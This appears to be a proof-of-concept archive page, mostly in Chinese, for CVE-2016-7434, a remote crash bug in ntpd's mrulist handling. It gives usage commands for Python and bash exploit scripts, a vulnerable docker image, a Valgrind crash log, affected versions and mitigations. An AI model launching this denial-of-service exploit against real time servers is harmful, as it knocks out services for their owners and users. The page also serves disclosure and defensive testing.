关联漏洞
标题:
NTP 安全漏洞
(CVE-2016-7434)
描述:NTP(Network Time Protocol,网络时间协议)是一款通过网络同步计算机时钟的协议。 NTP 4.2.8p9之前的版本中的‘read_mru_list’函数存在安全漏洞。远程攻击者可借助特制的mrulist查询利用该漏洞造成拒绝服务(崩溃)。
描述
NTPD remote DOS exploit and vulnerable container
介绍
# CVE-2016-7434 ntpd DOS exploit
[](https://hub.docker.com/r/vulnerables/cve-2016-7434/)
Ntpd suffer from a null pointer reference which is possible to trigger to crash the application. According to NTP.org, "If ntpd is configured to allow mrulist query requests from a server that sends a crafted malicious packet, ntpd will crash on receipt of that crafted malicious mrulist query packet."
The ntpd program is an operating-system daemon that sets and maintains a computer system's system time in synchronization with Internet-standard time servers. It is a complete implementation of the Network Time Protocol (NTP) version 4, but retains compatibility with versions 1, 2, and 3.
The routine that reads the MRU list (```read_mru_list```) can be found [here](https://github.com/opsxcq/exploit-CVE-2016-7434/blob/d0a66022701b38a76991ccf1816ce4ebfdb701ec/ntp-4.2.8p8/ntpd/ntp_control.c#L3952), and [here is the line where the exception occurs](https://github.com/opsxcq/exploit-CVE-2016-7434/blob/d0a66022701b38a76991ccf1816ce4ebfdb701ec/ntp-4.2.8p8/ntpd/ntp_control.c#L4041)
# Exploit
## Vulnerable Image
If you want a vulnerable system to test this exploit, you can use docker to create it
docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434
It will start a docker container with a vulnerable ntpd, so you will be able to exploit it.
## python
./exploit.py -t <target ip> -p <target port>
## bash
./exploit.sh <target ip> <target port>
## Exploiting the bug
If you choose to run your exploit against your docker container, after the exploitation it will show the result bellow:
```
==1== Memcheck, a memory error detector
==1== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==1== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==1== Command: /src/ntpd/ntpd -n -c /ntp.conf
==1==
22 Nov 23:59:27 ntpd[1]: ntpd 4.2.8p8@1.3265 Tue Nov 22 23:28:13 UTC 2016 (1): Starting
22 Nov 23:59:27 ntpd[1]: Command line: /src/ntpd/ntpd -n -c /ntp.conf
22 Nov 23:59:27 ntpd[1]: Cannot set RLIMIT_MEMLOCK: Operation not permitted
22 Nov 23:59:27 ntpd[1]: proto: precision = 4.680 usec (-18)
22 Nov 23:59:27 ntpd[1]: switching logging to file /dev/null
22 Nov 23:59:27 ntpd[1]: Listen and drop on 0 v6wildcard [::]:123
22 Nov 23:59:27 ntpd[1]: Listen and drop on 1 v4wildcard 0.0.0.0:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 2 lo 127.0.0.1:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 3 eth0 172.17.0.2:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 4 lo [::1]:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 5 eth0 [fe80::42:acff:fe11:2%13]:123
22 Nov 23:59:27 ntpd[1]: Listening on routing socket on fd #22 for interface updates
22 Nov 23:59:28 ntpd[1]: start_kern_loop: ntp_loopfilter.c line 1118: ntp_adjtime: Operation not permitted
22 Nov 23:59:28 ntpd[1]: set_freq: ntp_loopfilter.c line 1081: ntp_adjtime: Operation not permitted
==1== Invalid read of size 1
==1== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1== by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1== by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1== by 0x423FC1: receive (ntp_proto.c:659)
==1== by 0x412D5F: ntpdmain (ntpd.c:1329)
==1== by 0x4042B8: main (ntpd.c:392)
==1== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1==
==1==
==1== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==1== Access not within mapped region at address 0x0
==1== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1== by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1== by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1== by 0x423FC1: receive (ntp_proto.c:659)
==1== by 0x412D5F: ntpdmain (ntpd.c:1329)
==1== by 0x4042B8: main (ntpd.c:392)
==1== If you believe this happened as a result of a stack
==1== overflow in your program's main thread (unlikely but
==1== possible), you can try to increase the size of the
==1== main thread stack using the --main-stacksize= flag.
==1== The main thread stack size used in this run was 204800.
==1==
==1== HEAP SUMMARY:
==1== in use at exit: 31,476 bytes in 149 blocks
==1== total heap usage: 313 allocs, 164 frees, 310,744 bytes allocated
==1==
==1== LEAK SUMMARY:
==1== definitely lost: 0 bytes in 0 blocks
==1== indirectly lost: 0 bytes in 0 blocks
==1== possibly lost: 2,000 bytes in 2 blocks
==1== still reachable: 29,476 bytes in 147 blocks
==1== suppressed: 0 bytes in 0 blocks
==1== Rerun with --leak-check=full to see details of leaked memory
==1==
==1== For counts of detected and suppressed errors, rerun with: -v
==1== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
valgrind: the 'impossible' happened:
main(): signal was supposed to be fatal
host stacktrace:
==1== at 0x380A48EF: show_sched_status_wrk (m_libcassert.c:319)
sched status:
running_tid=1
```
# Vulnerable versions
* 4.3.90
* 4.3.25
* 4.3
* 4.3.93
* 4.3.92
* 4.3.77
* 4.3.70
* 4.2.8p8
* 4.2.8p7
* 4.2.8p6
* 4.2.8p5
* 4.2.8p4
* 4.2.8p3
* 4.2.8p2
* 4.2.8p1
* 4.2.7p22
# Not Vulnerable:
* 4.3.94
* 4.2.8p9
# Mitigation
* Only allow mrulist query packets from trusted hosts.
* Implement BCP-38.
* Upgrade to 4.2.8p9.
* Properly monitor your ntpd instances, and auto-restart ntpd (without -g) if it stops running.
### Disclaimer
This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (opsxcq) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not opsxcq's responsibility.
# Credits
Magnus Klaaborg Stubman (@magnusstubman) found this flaw
文件快照
[4.0K] /data/pocs/ecc3e7ad139b983ee1eabcff096d84f82d4fc5c5
├── [ 528] Dockerfile
├── [1.3K] exploit.py
├── [ 573] exploit.sh
├── [ 34K] LICENSE
├── [4.0K] ntp-4.2.8p8
│ ├── [ 49K] aclocal.m4
│ ├── [4.0K] adjtimed
│ │ ├── [ 11K] adjtimed.c
│ │ ├── [ 475] Makefile.am
│ │ ├── [ 33K] Makefile.in
│ │ └── [1.0K] README
│ ├── [ 605] bincheck.mf
│ ├── [4.7K] bootstrap
│ ├── [4.1K] build
│ ├── [229K] ChangeLog
│ ├── [ 374] check-libopts.mf
│ ├── [4.0K] clockstuff
│ │ ├── [ 20K] chutest.c
│ │ ├── [ 397] Makefile.am
│ │ ├── [ 26K] Makefile.in
│ │ ├── [ 12K] propdelay.c
│ │ └── [ 860] README
│ ├── [4.9M] CommitLog
│ ├── [191K] CommitLog-4.1.0
│ ├── [3.6K] compile
│ ├── [4.0K] conf
│ │ ├── [ 349] baldwin.conf
│ │ ├── [ 778] beauregard.conf
│ │ ├── [1.2K] grundoon.conf
│ │ ├── [ 811] malarky.conf
│ │ ├── [1.4K] pogo.conf
│ │ ├── [2.1K] rackety.conf
│ │ └── [ 738] README
│ ├── [ 43K] config.guess
│ ├── [ 42K] config.h.in
│ ├── [ 34K] config.sub
│ ├── [1.0M] configure
│ ├── [ 91K] configure.ac
│ ├── [ 12K] COPYRIGHT
│ ├── [ 16K] depcomp
│ ├── [ 29] deps-ver
│ ├── [2.2K] depsver.mf
│ ├── [ 521] dot.emacs
│ ├── [3.3K] flock-build
│ ├── [4.0K] html
│ │ ├── [4.3K] access.html
│ │ ├── [8.6K] accopt.html
│ │ ├── [ 14K] assoc.html
│ │ ├── [ 12K] audio.html
│ │ ├── [ 10K] authentic.html
│ │ ├── [7.7K] authopt.html
│ │ ├── [ 26K] autokey.html
│ │ ├── [2.1K] bugs.html
│ │ ├── [6.4K] build.html
│ │ ├── [9.1K] clock.html
│ │ ├── [6.0K] clockopt.html
│ │ ├── [5.0K] cluster.html
│ │ ├── [1.4K] comdex.html
│ │ ├── [1.8K] config.html
│ │ ├── [ 13K] confopt.html
│ │ ├── [ 13K] copyright.html
│ │ ├── [ 18K] debug.html
│ │ ├── [ 20K] decode.html
│ │ ├── [ 11K] discipline.html
│ │ ├── [ 13K] discover.html
│ │ ├── [4.0K] drivers
│ │ │ ├── [3.2K] driver10.html
│ │ │ ├── [5.1K] driver11.html
│ │ │ ├── [2.6K] driver12.html
│ │ │ ├── [1.4K] driver16.html
│ │ │ ├── [7.7K] driver18.html
│ │ │ ├── [3.8K] driver19.html
│ │ │ ├── [3.1K] driver1.html
│ │ │ ├── [ 15K] driver20.html
│ │ │ ├── [7.5K] driver22.html
│ │ │ ├── [4.0K] driver26.html
│ │ │ ├── [ 20K] driver27.html
│ │ │ ├── [ 11K] driver28.html
│ │ │ ├── [ 39K] driver29.html
│ │ │ ├── [6.2K] driver30.html
│ │ │ ├── [4.1K] driver31.html
│ │ │ ├── [1.5K] driver32.html
│ │ │ ├── [1.3K] driver33.html
│ │ │ ├── [4.5K] driver34.html
│ │ │ ├── [2.7K] driver35.html
│ │ │ ├── [ 29K] driver36.html
│ │ │ ├── [2.3K] driver37.html
│ │ │ ├── [5.4K] driver38.html
│ │ │ ├── [4.3K] driver39.html
│ │ │ ├── [4.0K] driver3.html
│ │ │ ├── [ 22K] driver40.html
│ │ │ ├── [ 24K] driver40-ja.html
│ │ │ ├── [1.2K] driver42.html
│ │ │ ├── [4.2K] driver43.html
│ │ │ ├── [4.2K] driver44.html
│ │ │ ├── [1.2K] driver45.html
│ │ │ ├── [ 15K] driver46.html
│ │ │ ├── [6.1K] driver4.html
│ │ │ ├── [5.6K] driver5.html
│ │ │ ├── [ 10K] driver6.html
│ │ │ ├── [ 20K] driver7.html
│ │ │ ├── [ 22K] driver8.html
│ │ │ ├── [3.5K] driver9.html
│ │ │ ├── [4.0K] icons
│ │ │ │ ├── [ 983] home.gif
│ │ │ │ └── [ 287] mail2.gif
│ │ │ ├── [ 26K] mx4200data.html
│ │ │ ├── [ 10K] oncore-shmem.html
│ │ │ ├── [4.0K] scripts
│ │ │ │ ├── [ 399] footer.txt
│ │ │ │ └── [1.5K] style.css
│ │ │ └── [3.5K] tf582_4.html
│ │ ├── [5.7K] extern.html
│ │ ├── [5.9K] filter.html
│ │ ├── [4.0K] hints
│ │ │ ├── [2.8K] aix
│ │ │ ├── [7.6K] a-ux
│ │ │ ├── [2.5K] bsdi
│ │ │ ├── [ 585] changes
│ │ │ ├── [1.9K] decosf1
│ │ │ ├── [1.6K] decosf2
│ │ │ ├── [ 466] freebsd
│ │ │ ├── [6.4K] hpux
│ │ │ ├── [ 101] linux
│ │ │ ├── [2.3K] mpeix
│ │ │ ├── [5.4K] notes-xntp-v3
│ │ │ ├── [2.9K] parse
│ │ │ ├── [1.5K] refclocks
│ │ │ ├── [2.3K] rs6000
│ │ │ ├── [1.6K] sco.html
│ │ │ ├── [2.8K] sgi
│ │ │ ├── [ 17K] solaris-dosynctodr.html
│ │ │ ├── [ 11K] solaris.html
│ │ │ ├── [1.4K] solaris.xtra.4023118
│ │ │ ├── [2.9K] solaris.xtra.4095849
│ │ │ ├── [2.5K] solaris.xtra.patchfreq
│ │ │ ├── [ 813] solaris.xtra.S99ntpd
│ │ │ ├── [ 738] sun4
│ │ │ ├── [ 168] svr4-dell
│ │ │ ├── [1.4K] svr4_package
│ │ │ ├── [ 252] todo
│ │ │ ├── [5.8K] vxworks.html
│ │ │ └── [ 10K] winnt.html
│ │ ├── [1.7K] hints.html
│ │ ├── [ 17K] history.html
│ │ ├── [ 13K] howto.html
│ │ ├── [3.1K] huffpuff.html
│ │ ├── [4.0K] icons
│ │ │ ├── [ 983] home.gif
│ │ │ ├── [ 287] mail2.gif
│ │ │ └── [2.8K] sitemap.png
│ │ ├── [7.4K] index.html
│ │ ├── [4.1K] kern.html
│ │ ├── [4.4K] kernpps.html
│ │ ├── [ 18K] keygen.html
│ │ ├── [4.8K] leap.html
│ │ ├── [ 25K] miscopt.html
│ │ ├── [ 19K] monopt.html
│ │ ├── [7.6K] msyslog.html
│ │ ├── [ 17K] ntp_conf.html
│ │ ├── [8.3K] ntpdate.html
│ │ ├── [ 23K] ntpdc.html
│ │ ├── [ 14K] ntpd.html
│ │ ├── [4.6K] ntpdsim.html
│ │ ├── [5.8K] ntpdsim_new.html
│ │ ├── [ 30K] ntpq.html
│ │ ├── [2.2K] ntptime.html
│ │ ├── [2.7K] ntptrace.html
│ │ ├── [1.2K] ntp-wait.html
│ │ ├── [5.3K] orphan.html
│ │ ├── [ 16K] parsedata.html
│ │ ├── [9.5K] parsenew.html
│ │ ├── [4.0K] pic
│ │ │ ├── [5.6K] 9400n.jpg
│ │ │ ├── [ 18K] alice11.gif
│ │ │ ├── [ 11K] alice13.gif
│ │ │ ├── [ 26K] alice15.gif
│ │ │ ├── [7.6K] alice23.gif
│ │ │ ├── [ 14K] alice31.gif
│ │ │ ├── [ 17K] alice32.gif
│ │ │ ├── [8.8K] alice35.gif
│ │ │ ├── [ 10K] alice38.gif
│ │ │ ├── [ 19K] alice44.gif
│ │ │ ├── [ 11K] alice47.gif
│ │ │ ├── [ 12K] alice51.gif
│ │ │ ├── [ 11K] alice61.gif
│ │ │ ├── [2.9K] barnstable.gif
│ │ │ ├── [2.8K] beaver.gif
│ │ │ ├── [ 18K] boom3a.gif
│ │ │ ├── [ 11K] boom3.gif
│ │ │ ├── [ 16K] boom4.gif
│ │ │ ├── [5.6K] broad.gif
│ │ │ ├── [8.3K] bustardfly.gif
│ │ │ ├── [ 16K] c51.jpg
│ │ │ ├── [ 33K] description.jpg
│ │ │ ├── [6.7K] discipline.gif
│ │ │ ├── [5.3K] dogsnake.gif
│ │ │ ├── [ 11K] driver29.gif
│ │ │ ├── [ 38K] driver43_1.gif
│ │ │ ├── [6.4K] driver43_2.jpg
│ │ │ ├── [ 21K] fg6021.gif
│ │ │ ├── [7.2K] fg6039.jpg
│ │ │ ├── [ 10K] fig_3_1.gif
│ │ │ ├── [ 13K] flatheads.gif
│ │ │ ├── [8.8K] flt1.gif
│ │ │ ├── [3.1K] flt2.gif
│ │ │ ├── [1.8K] flt3.gif
│ │ │ ├── [3.8K] flt4.gif
│ │ │ ├── [ 10K] flt5.gif
│ │ │ ├── [ 15K] flt6.gif
│ │ │ ├── [7.7K] flt7.gif
│ │ │ ├── [5.8K] flt8.gif
│ │ │ ├── [8.7K] flt9.gif
│ │ │ ├── [ 11K] freq1211.gif
│ │ │ ├── [ 26K] gadget.jpg
│ │ │ ├── [ 15K] gps167.jpg
│ │ │ ├── [2.7K] group.gif
│ │ │ ├── [8.6K] hornraba.gif
│ │ │ ├── [8.8K] igclock.gif
│ │ │ ├── [ 15K] neoclock4x.gif
│ │ │ ├── [ 25K] offset1211.gif
│ │ │ ├── [7.7K] oncore_evalbig.gif
│ │ │ ├── [4.7K] oncore_remoteant.jpg
│ │ │ ├── [9.9K] oncore_utplusbig.gif
│ │ │ ├── [8.0K] oz2.gif
│ │ │ ├── [1.6K] panda.gif
│ │ │ ├── [ 16K] pd_om006.gif
│ │ │ ├── [ 13K] pd_om011.gif
│ │ │ ├── [4.8K] peer.gif
│ │ │ ├── [ 18K] pogo1a.gif
│ │ │ ├── [3.6K] pogo3a.gif
│ │ │ ├── [3.1K] pogo4.gif
│ │ │ ├── [5.7K] pogo5.gif
│ │ │ ├── [5.8K] pogo6.gif
│ │ │ ├── [ 13K] pogo7.gif
│ │ │ ├── [7.6K] pogo8.gif
│ │ │ ├── [1.9K] pogo.gif
│ │ │ ├── [ 13K] pzf509.jpg
│ │ │ ├── [ 20K] pzf511.jpg
│ │ │ ├── [3.3K] rabbit.gif
│ │ │ ├── [ 17K] radio2.jpg
│ │ │ ├── [ 20K] sheepb.jpg
│ │ │ ├── [ 29K] stack1a.jpg
│ │ │ ├── [ 12K] stats.gif
│ │ │ ├── [ 20K] sx5.gif
│ │ │ ├── [ 38K] thunderbolt.jpg
│ │ │ ├── [4.4K] time1.gif
│ │ │ ├── [ 12K] tonea.gif
│ │ │ ├── [ 30K] tribeb.gif
│ │ │ └── [ 11K] wingdorothy.gif
│ │ ├── [4.1K] poll.html
│ │ ├── [6.2K] pps.html
│ │ ├── [ 15K] prefer.html
│ │ ├── [4.7K] quick.html
│ │ ├── [ 10K] rate.html
│ │ ├── [5.4K] rdebug.html
│ │ ├── [ 12K] refclock.html
│ │ ├── [ 13K] release.html
│ │ ├── [4.0K] scripts
│ │ │ ├── [ 332] accopt.txt
│ │ │ ├── [ 476] audio.txt
│ │ │ ├── [1.0K] authopt.txt
│ │ │ ├── [ 328] clockopt.txt
│ │ │ ├── [ 289] command.txt
│ │ │ ├── [ 290] config.txt
│ │ │ ├── [1.0K] confopt.txt
│ │ │ ├── [2.0K] external.txt
│ │ │ ├── [ 415] footer.txt
│ │ │ ├── [ 723] hand.txt
│ │ │ ├── [ 651] install.txt
│ │ │ ├── [1.1K] manual.txt
│ │ │ ├── [1.8K] miscopt.txt
│ │ │ ├── [ 631] misc.txt
│ │ │ ├── [ 439] monopt.txt
│ │ │ ├── [ 475] refclock.txt
│ │ │ ├── [1.2K] special.txt
│ │ │ └── [1.5K] style.css
│ │ ├── [7.7K] select.html
│ │ ├── [1.7K] sitemap.html
│ │ ├── [9.4K] sntp.html
│ │ ├── [ 12K] stats.html
│ │ ├── [3.7K] tickadj.html
│ │ ├── [ 11K] warp.html
│ │ └── [3.6K] xleave.html
│ ├── [4.0K] include
│ │ ├── [2.0K] adjtime.h
│ │ ├── [2.8K] ascii.h
│ │ ├── [ 283] audio.h
│ │ ├── [3.3K] binio.h
│ │ ├── [ 803] declcond.h
│ │ ├── [2.8K] gps.h
│ │ ├── [3.5K] hopf6039.h
│ │ ├── [2.3K] icom.h
│ │ ├── [2.9K] ieee754io.h
│ │ ├── [ 808] intreswork.h
│ │ ├── [1.5K] iosignal.h
│ │ ├── [4.0K] isc
│ │ │ ├── [ 46] Makefile.am
│ │ │ ├── [ 19K] Makefile.in
│ │ │ └── [2.2K] mem.h
│ │ ├── [ 436] libntp.h
│ │ ├── [ 674] lib_strbuf.h
│ │ ├── [4.6K] l_stdlib.h
│ │ ├── [1.1K] Makefile.am
│ │ ├── [ 24K] Makefile.in
│ │ ├── [ 37K] mbg_gps166.h
│ │ ├── [2.1K] mx4200.h
│ │ ├── [2.9K] ntif.h
│ │ ├── [2.7K] ntp_assert.h
│ │ ├── [ 12K] ntp_calendar.h
│ │ ├── [ 38] ntp_cmdargs.h
│ │ ├── [7.6K] ntp_config.h
│ │ ├── [5.6K] ntp_control.h
│ │ ├── [6.6K] ntp_crypto.h
│ │ ├── [1.1K] ntp_datum.h
│ │ ├── [ 635] ntp_debug.h
│ │ ├── [ 20K] ntpd.h
│ │ ├── [1.8K] ntp_filegen.h
│ │ ├── [ 13K] ntp_fp.h
│ │ ├── [ 32K] ntp.h
│ │ ├── [ 651] ntp_if.h
│ │ ├── [1.5K] ntp_intres.h
│ │ ├── [1.8K] ntp_io.h
│ │ ├── [ 478] ntp_keyacc.h
│ │ ├── [ 330] ntp_libopts.h
│ │ ├── [ 251] ntp_lineedit.h
│ │ ├── [ 12K] ntp_lists.h
│ │ ├── [7.2K] ntp_machine.h
│ │ ├── [1.2K] ntp_malloc.h
│ │ ├── [1.0K] ntp_md5.h
│ │ ├── [6.6K] ntp_net.h
│ │ ├── [1.9K] ntp_prio_q.h
│ │ ├── [ 95] ntp_proto.h
│ │ ├── [ 402] ntp_random.h
│ │ ├── [7.2K] ntp_refclock.h
│ │ ├── [ 31K] ntp_request.h
│ │ ├── [8.5K] ntp_rfc2553.h
│ │ ├── [1.0K] ntp_select.h
│ │ ├── [3.8K] ntpsim.h
│ │ ├── [9.3K] ntp_stdlib.h
│ │ ├── [ 708] ntp_string.h
│ │ ├── [1.2K] ntp_syscall.h
│ │ ├── [2.9K] ntp_syslog.h
│ │ ├── [2.6K] ntp_tty.h
│ │ ├── [7.2K] ntp_types.h
│ │ ├── [1.6K] ntp_unixtime.h
│ │ ├── [5.5K] ntp_worker.h
│ │ ├── [ 749] ntp_workimpl.h
│ │ ├── [2.8K] parse_conf.h
│ │ ├── [ 15K] parse.h
│ │ ├── [ 83] rc_cmdlength.h
│ │ ├── [ 157] README
│ │ ├── [3.3K] recvbuff.h
│ │ ├── [ 449] refclock_atom.h
│ │ ├── [ 89] refidsmear.h
│ │ ├── [1.0K] safecast.h
│ │ ├── [1.5K] ssl_applink.c
│ │ ├── [ 12K] timepps-SCO.h
│ │ ├── [ 13K] timepps-Solaris.h
│ │ ├── [ 12K] timepps-SunOS.h
│ │ ├── [7.8K] timespecops.h
│ │ ├── [2.6K] timetoa.h
│ │ ├── [8.3K] timevalops.h
│ │ ├── [8.0K] trimble.h
│ │ └── [1.1K] vint64ops.h
│ ├── [ 238] includes.mf
│ ├── [7.4K] INSTALL
│ ├── [9.0K] install-sh
│ ├── [4.0K] kernel
│ │ ├── [ 14] Makefile.am
│ │ ├── [ 23K] Makefile.in
│ │ └── [4.0K] sys
│ │ ├── [3.0K] bsd_audioirig.h
│ │ ├── [1.6K] i8253.h
│ │ ├── [ 106] Makefile.am
│ │ ├── [ 19K] Makefile.in
│ │ ├── [4.3K] parsestreams.h
│ │ ├── [3.0K] pcl720.h
│ │ ├── [2.6K] ppsclock.h
│ │ ├── [ 567] README
│ │ ├── [ 12K] timex.h
│ │ ├── [1.0K] tpro.h
│ │ └── [ 13K] tt560_api.h
│ ├── [4.0K] lib
│ │ └── [4.0K] isc
│ │ ├── [4.0K] alpha
│ │ │ └── [4.0K] include
│ │ │ └── [4.0K] isc
│ │ │ └── [5.7K] atomic.h
│ │ ├── [ 129] api
│ │ ├── [3.2K] app_api.c
│ │ ├── [3.4K] assertions.c
│ │ ├── [ 90] Atffile
│ │ ├── [7.5K] backtrace.c
│ │ ├── [1.3K] backtrace-emptytbl.c
│ │ ├── [9.6K] base32.c
│ │ ├── [6.5K] base64.c
│ │ ├── [3.4K] bitstring.c
│ │ ├── [ 10K] buffer.c
│ │ ├── [1.7K] bufferlist.c
│ │ ├── [6.8K] commandline.c
│ │ ├── [ 29K] entropy.c
│ │ ├── [2.9K] error.c
│ │ ├── [2.5K] event.c
│ │ ├── [2.7K] fsaccess.c
│ │ ├── [ 11K] hash.c
│ │ ├── [6.5K] heap.c
│ │ ├── [4.8K] hex.c
│ │ ├── [3.8K] hmacmd5.c
│ │ ├── [ 16K] hmacsha.c
│ │ ├── [ 26K] httpd.c
│ │ ├── [4.0K] ia64
│ │ │ └── [4.0K] include
│ │ │ └── [4.0K] isc
│ │ │ └── [2.5K] atomic.h
│ │ ├── [4.0K] include
│ │ │ └── [4.0K] isc
│ │ │ ├── [ 10K] app.h
│ │ │ ├── [3.2K] assertions.h
│ │ │ ├── [4.2K] backtrace.h
│ │ │ ├── [3.8K] base32.h
│ │ │ ├── [2.9K] base64.h
│ │ │ ├── [1.2K] bind9.h
│ │ │ ├── [4.4K] bitstring.h
│ │ │ ├── [1.2K] boolean.h
│ │ │ ├── [ 22K] buffer.h
│ │ │ ├── [1.9K] bufferlist.h
│ │ │ ├── [1.8K] commandline.h
│ │ │ ├── [9.2K] entropy.h
│ │ │ ├── [1.8K] error.h
│ │ │ ├── [1.9K] eventclass.h
│ │ │ ├── [3.3K] event.h
│ │ │ ├── [9.0K] file.h
│ │ │ ├── [1.4K] formatcheck.h
│ │ │ ├── [7.8K] fsaccess.h
│ │ │ ├── [5.8K] hash.h
│ │ │ ├── [5.6K] heap.h
│ │ │ ├── [2.8K] hex.h
│ │ │ ├── [1.9K] hmacmd5.h
│ │ │ ├── [4.4K] hmacsha.h
│ │ │ ├── [2.0K] httpd.h
│ │ │ ├── [3.8K] interfaceiter.h
│ │ │ ├── [3.6K] ipv6.h
│ │ │ ├── [1.5K] iterated_hash.h
│ │ │ ├── [1.1K] lang.h
│ │ │ ├── [9.4K] lex.h
│ │ │ ├── [3.4K] lfsr.h
│ │ │ ├── [1.6K] lib.h
│ │ │ ├── [6.1K] list.h
│ │ │ ├── [ 28K] log.h
│ │ │ ├── [1.4K] magic.h
│ │ │ ├── [2.5K] md5.h
│ │ │ ├── [ 21K] mem.h
│ │ │ ├── [3.2K] msgcat.h
│ │ │ ├── [8.7K] msgs.h
│ │ │ ├── [1.9K] mutexblock.h
│ │ │ ├── [7.1K] namespace.h
│ │ │ ├── [4.8K] netaddr.h
│ │ │ ├── [1.4K] netscope.h
│ │ │ ├── [3.2K] ondestroy.h
│ │ │ ├── [1.2K] os.h
│ │ │ ├── [2.0K] parseint.h
│ │ │ ├── [1.3K] platform.h
│ │ │ ├── [8.0K] platform.h.in
│ │ │ ├── [3.7K] portset.h
│ │ │ ├── [2.4K] print.h
│ │ │ ├── [3.0K] queue.h
│ │ │ ├── [2.6K] quota.h
│ │ │ ├── [6.9K] radix.h
│ │ │ ├── [1.8K] random.h
│ │ │ ├── [3.5K] ratelimiter.h
│ │ │ ├── [6.1K] refcount.h
│ │ │ ├── [2.4K] region.h
│ │ │ ├── [3.3K] resource.h
│ │ │ ├── [2.0K] resultclass.h
│ │ │ ├── [4.7K] result.h
│ │ │ ├── [3.8K] rwlock.h
│ │ │ ├── [1.9K] serial.h
│ │ │ ├── [1.8K] sha1.h
│ │ │ ├── [5.7K] sha2.h
│ │ │ ├── [6.4K] sockaddr.h
│ │ │ ├── [ 32K] socket.h
│ │ │ ├── [3.0K] stats.h
│ │ │ ├── [2.1K] stdio.h
│ │ │ ├── [1.2K] stdlib.h
│ │ │ ├── [6.8K] string.h
│ │ │ ├── [4.6K] symtab.h
│ │ │ ├── [ 20K] task.h
│ │ │ ├── [4.1K] taskpool.h
│ │ │ ├── [ 11K] timer.h
│ │ │ ├── [5.7K] types.h
│ │ │ ├── [7.7K] util.h
│ │ │ ├── [1.2K] version.h
│ │ │ └── [1.5K] xml.h
│ │ ├── [6.4K] inet_aton.c
│ │ ├── [5.3K] inet_ntop.c
│ │ ├── [5.3K] inet_pton.c
│ │ ├── [1.4K] iterated_hash.c
│ │ ├── [ 22K] lex.c
│ │ ├── [3.6K] lfsr.c
│ │ ├── [2.7K] lib.c
│ │ ├── [ 45K] log.c
│ │ ├── [8.6K] md5.c
│ │ ├── [6.6K] mem_api.c
│ │ ├── [ 59K] mem.c
│ │ ├── [4.0K] mips
│ │ │ └── [4.0K] include
│ │ │ └── [4.0K] isc
│ │ │ └── [2.4K] atomic.h
│ │ ├── [1.5K] mutexblock.c
│ │ ├── [9.9K] netaddr.c
│ │ ├── [2.3K] netscope.c
│ │ ├── [4.0K] nls
│ │ │ └── [3.0K] msgcat.c
│ │ ├── [4.0K] noatomic
│ │ │ └── [4.0K] include
│ │ │ └── [4.0K] isc
│ │ │ └── [ 965] atomic.h
│ │ ├── [4.0K] nothreads
│ │ │ ├── [ 992] condition.c
│ │ │ ├── [4.0K] include
│ │ │ │ └── [4.0K] isc
│ │ │ │ ├── [2.1K] condition.h
│ │ │ │ ├── [1.5K] mutex.h
│ │ │ │ ├── [1.1K] once.h
│ │ │ │ └── [1.1K] thread.h
│ │ │ ├── [ 989] mutex.c
│ │ │ └── [1.0K] thread.c
│ │ ├── [2.2K] ondestroy.c
│ │ ├── [2.0K] parseint.c
│ │ ├── [3.4K] portset.c
│ │ ├── [4.0K] powerpc
│ │ │ └── [4.0K] include
│ │ │ └── [4.0K] isc
│ │ │ └── [3.7K] atomic.h
│ │ ├── [ 12K] print.c
│ │ ├── [4.0K] pthreads
│ │ │ ├── [2.2K] condition.c
│ │ │ ├── [4.0K] include
│ │ │ │ └── [4.0K] isc
│ │ │ │ ├── [2.0K] condition.h
│ │ │ │ ├── [4.0K] mutex.h
│ │ │ │ ├── [1.5K] once.h
│ │ │ │ └── [1.8K] thread.h
│ │ │ ├── [8.1K] mutex.c
│ │ │ └── [2.1K] thread.c
│ │ ├── [2.4K] quota.c
│ │ ├── [ 17K] radix.c
│ │ ├── [2.7K] random.c
│ │ ├── [8.2K] ratelimiter.c
│ │ ├── [1.2K] refcount.c
│ │ ├── [1.4K] region.c
│ │ ├── [5.8K] result.c
│ │ ├── [ 22K] rwlock.c
│ │ ├── [1.7K] serial.c
│ │ ├── [ 10K] sha1.c
│ │ ├── [ 40K] sha2.c
│ │ ├── [ 13K] sockaddr.c
│ │ ├── [5.6K] socket_api.c
│ │ ├── [4.0K] sparc64
│ │ │ └── [4.0K] include
│ │ │ └── [4.0K] isc
│ │ │ └── [4.0K] atomic.h
│ │ ├── [8.3K] stats.c
│ │ ├── [5.3K] string.c
│ │ ├── [4.2K] strtoul.c
│ │ ├── [7.2K] symtab.c
│ │ ├── [5.6K] task_api.c
│ │ ├── [ 46K] task.c
│ │ ├── [1.3K] task_p.h
│ │ ├── [4.4K] taskpool.c
│ │ ├── [4.0K] tests
│ │ │ ├── [ 96] Atffile
│ │ │ ├── [ 51K] hash_test.c
│ │ │ ├── [4.0K] isctest.c
│ │ │ ├── [1.5K] isctest.h
│ │ │ ├── [3.3K] queue_test.c
│ │ │ ├── [6.6K] socket_test.c
│ │ │ ├── [3.5K] symtab_test.c
│ │ │ ├── [5.2K] taskpool_test.c
│ │ │ └── [ 10K] task_test.c
│ │ ├── [3.5K] timer_api.c
│ │ ├── [ 26K] timer.c
│ │ ├── [1.1K] timer_p.h
│ │ ├── [2.0K] tsmemcmp.c
│ │ ├── [4.0K] unix
│ │ │ ├── [ 23K] app.c
│ │ │ ├── [5.1K] dir.c
│ │ │ ├── [ 14K] entropy.c
